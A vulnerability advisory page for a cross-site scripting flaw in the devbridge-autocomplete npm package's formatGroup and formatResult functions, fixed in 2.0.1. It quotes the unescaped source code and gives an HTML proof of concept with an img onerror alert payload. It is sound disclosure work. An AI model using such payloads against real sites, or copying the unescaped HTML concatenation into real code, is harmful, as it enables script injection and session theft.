GHSA-hvqh-jw65-wcpq The default `formatGroup` and `formatResult` functions in `devbridge-autocomplete` concatenate values into HTML without escaping

Not scored Published 22 Jun 2026

Cross-site scripting vulnerability in devbridge-autocomplete allows attackers to execute arbitrary scripts via unescaped HTML in suggestion data.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: A user has to click or open something
Fix: Available

What is GHSA-hvqh-jw65-wcpq?

GHSA-hvqh-jw65-wcpq is a cross-site scripting vulnerability in devbridge-autocomplete, published on 22 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

Official description

Summary

The default formatGroup and formatResult functions in devbridge-autocomplete concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.

Details

1. formatGroup — category is interpolated raw.

src/format.ts:

function formatGroup(suggestion, category) {
    return &#39;&lt;div class=&#34;autocomplete-group&#34;&gt;&#39; + category + &#39;&lt;/div&gt;&#39;;
}

If groupBy is used and the grouping field of any suggestion contains HTML, that HTML is executed.

2. formatResult — early-return branch returns suggestion.value raw.

src/format.ts:

function formatResult(suggestion, currentValue) {
    if (!currentValue) {
        return suggestion.value;   // un-escaped
    }
    /* ... non-empty path escapes correctly ... */
}

The early-return branch is reached when suggest() renders with an empty currentValue, which happens with minChars: 0 and a server that returns suggestions for an empty query. The returned string is concatenated into the container's innerHTML.

PoC (formatGroup)

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;meta charset=&#34;utf-8&#34;&gt;
    &lt;title&gt;PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;input id=&#34;ac&#34; type=&#34;text&#34; placeholder=&#34;Type &#39;a&#39; to trigger&#34; autocomplete=&#34;off&#34;&gt;

    &lt;script src=&#34;https://code.jquery.com/jquery-3.7.1.min.js&#34;&gt;&lt;/script&gt;
    &lt;script src=&#34;dist/jquery.autocomplete.js&#34;&gt;&lt;/script&gt;
    &lt;script&gt;
        var poisoned = [
            { value: &#39;Apple&#39;,   data: { category: &#34;&lt;img src=x onerror=\&#34;alert(&#39;XSS via formatGroup&#39;)\&#34;&gt;&#34; } },
            { value: &#39;Avocado&#39;, data: { category: &#39;Safe Group&#39; } }
        ];

        $(&#39;#ac&#39;).devbridgeAutocomplete({
            lookup: poisoned,
            groupBy: &#39;category&#39;,
            minChars: 1
        });
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.

Impact

XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.

Patch

Both formatters now run their interpolated input through the browser's text-node escaping (createElement + textContent) before producing the HTML string. Fixed in version 2.0.1.

Which versions are affected by GHSA-hvqh-jw65-wcpq?

2 open source packages ship an affected version, including devbridge-autocomplete.

Package	Affected	Fixed in
`devbridge-autocomplete` npm	All versions	`2.0.1`
`devbridge-autocomplete` npm	All versions	`2.0.1`

How do I fix GHSA-hvqh-jw65-wcpq?

Upgrade devbridge-autocomplete to 2.0.1 or later.

Escape output for the context it lands in and set a strict Content Security Policy. Upgrading the affected component is the real fix. More about Cross-site scripting.

Is GHSA-hvqh-jw65-wcpq being exploited?

There is no known exploitation of GHSA-hvqh-jw65-wcpq in the wild and no public exploit code.